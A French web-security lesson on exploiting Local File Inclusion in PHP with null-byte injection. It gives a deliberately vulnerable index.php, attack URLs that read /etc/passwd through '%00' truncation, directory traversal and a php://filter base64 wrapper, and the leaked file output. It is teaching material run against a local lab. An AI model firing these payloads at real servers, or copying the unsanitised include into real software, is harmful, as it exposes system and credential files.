[Séc. Web] [Divers] Spécificités technologiques 2

Introduction
Dans cette quête, nous verrons comment exploiter la faille Local File Inclusion, dite LFI, en utilisant le système de null-byte ou caractère nul (en français).
Le caractère nul est un caractère de contrôle avec la valeur zéro. Il est présent dans de nombreux jeux de caractères, notamment ISO/CEI 646, C0 and C1 control codes, ISO/CEI 10646 et EBCDIC. Il est aussi disponible dans presque tous les langages de programmation traditionnels.
🤓 Objectifs
✅ Comprendre un code PHP.
✅ Comprendre le fonctionnement de la faille LFI (Local File Inclusion).
✅ Comprendre le fonctionnement du système de null-byte (ou caractère nul en français).
👉 Fonctionnement et exploitation de la faille :def[LFI]{ value="Local File Inclusion" }
Pour petite précision, la vulnérabilité avec le null-byte est une vulnérabilité assez ancienne, qui a déjà été corrigée depuis la version 5.3.4 de PHP. Mais il y a toujours des serveurs anciens qui supportent cette version.
Tu vas commencer par créer un fichier index.php, ainsi qu'un fichier main.php qui contiendra du code HTML. Le index.php, tente d'inclure un fichier à partir d'un paramètre page dans l'URL à l'aide de la méthode GET, sans avoir besoin de lui préciser l'extension du fichier. L'idée de base du développeur qui a écrit ce code PHP est de pouvoir charger dynamiquement un fichier à partir de l'adresse requêtée. Et c'est ce fonctionnement qui t'intéresse.
// index.php
<?php
if(isset($_GET["page"])){
include($_GET["page"] . ".php");
}
// main.php
<h1>Bonjour tout le monde</h1>
Ainsi, si tu essayes de communiquer avec le paramètre GET en lui passant le paramètre page et comme valeur main.php :
http://127.0.0.1/index.php?page=main.php
Au niveau du serveur, il tentera d'inclure le fichier main.php.php, qui, nous le savons très bien, n'existe pas. Mais si maintenant tu renseigne uniquement main, il affichera logiquement dans la le navigateur "Bonjour tout le monde". Car, tu sais très bien que dans le dossier courant, il y a bien le fichier main.php, vu que c'est toi qui l'a créé, donc il a bien trouvé le fichier et inclus ce celui-ci dans la page.
http://127.0.0.1/index.php?page=main
C'est cool, tout fonctionne. Maintenant, tu sais que tu peux inclure n'importe quel fichier du serveur via cet index.php. Et pourquoi pas /etc/passwd ? Eh bien, non ! Pour la simple et bonne raison que si tu souhaites inclure le fichier /etc/passwd, il essayera de trouver le fichier /etc/passwd.php, et ce fichier n'existe pas.
http://127.0.0.1/index.php?page=/etc/passwd
Et c'est là que le null-byte intervient, le null-byte, te permet d'ignorer toutes les valeurs après le null-byte, donc imaginons l'exemple comme ci-dessous, lorsque nous avons mis notre null-byte, il ignora tout ce que il y a après, et notamment l'extension .php. Donc, si on a bien compris logiquement, dans le serveur ça sera traduit comme ça /etc/passwd%00.php, donc après le null-byte, ça été ignoré, et maintenant il est possible d'inclure le fichier /etc/passwd.
http://127.0.0.1/index.php?page=/etc/passwd%00
Voici après l'inclusion de la page /etc/passwd, cela a été fait avec succès :
Voici après l'inclusion du fichier /etc/passwd, tout ce passe comme prévu et tu peux accéder au contenu du fichier tant convoité :
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
mysql:x:104:110:MySQL Server,,,:/nonexistent:/bin/false
tss:x:105:111:TPM software stack,,,:/var/lib/tpm:/bin/false
strongswan:x:106:65534::/var/lib/strongswan:/usr/sbin/nologin
ntp:x:107:113::/nonexistent:/usr/sbin/nologin
[...SNIP...]
👉 Utilisation des wrappers en PHP
Dans le contexte présent un wrapper est un gestionnaire de protocole (de style URL). Voici la liste des wrappers supportés par PHP :
| Wrappers | Description |
|---|---|
| file:// | Accès au système de fichiers local |
| http:// | Accès aux URLs HTTP(s) |
| ftp:// | Accès aux URLs FTP(s) |
| php:// | Accès aux divers flux I/O |
| zlib:// | Flux de compression |
| data:// | Données (RFC 2397) |
| glob:// | Trouve des noms de fichiers correspondant à un masque donné |
| phar:// | Archive PHP |
| ssh2:// | Shell sécurisé 2 |
| rar:// | RAR |
| ogg:// | Flux Audio |
| expect:// | Flux d'interactions de processus |
Par exemple, nous avons l'opportunité de convertir la sortie en base64 en utilisant le wrapper php://, donc il suffit simplement d'inclure le fichier /etc/passwd avec le null-byte.
http://127.0.0.1/index.php?page=php://filter/convert.base64-encode/resource=../../../../../etc/passwd%00
Et voici la sortie du fichier sur le site, cela peut être décodé facilement avec la commande base64 sur Linux ou bien directement sur le site de base64, et logiquement une fois décodé, il y aura les données vis à vis du fichier /etc/passwd.
cm9vdDp4OjA6MDpyb290Oi9yb290Oi91c3IvYmluL3pzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4KZ25hdHM6eDo0MTo0MTpHbmF0cyBCdWctUmVwb3J0aW5nIFN5c3RlbSAoYWRtaW4pOi92YXIvbGliL2duYXRzOi91c3Ivc2Jpbi9ub2xvZ2luCm5vYm9keTp4OjY1NTM0OjY1NTM0Om5vYm9keTovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KX2FwdDp4OjEwMDo2NTUzNDo6L25vb...
Je t'invite à voir d'autre wrapper qui peut être utilisé pour la faille LFI (Local File Inclusion) dans la ressource juste ci-dessous.
☝️ Résumé
- La vulnérabilité
LFI(Local File Inclusion) permet à un attaquant d'inclure un fichier, exploitant généralement un mécanisme d'inclusion dynamique de fichier implémenté dans l'application cible. - L'injection de
null-byteest une technique d'exploitation active utilisée pour contourner les filtres de vérification de l'intégrité dans l'infrastructure Web en ajoutant des caractères d'octet nul encodés enURL. - Un
wrapperest un gestionnaire de protocole (de style URL).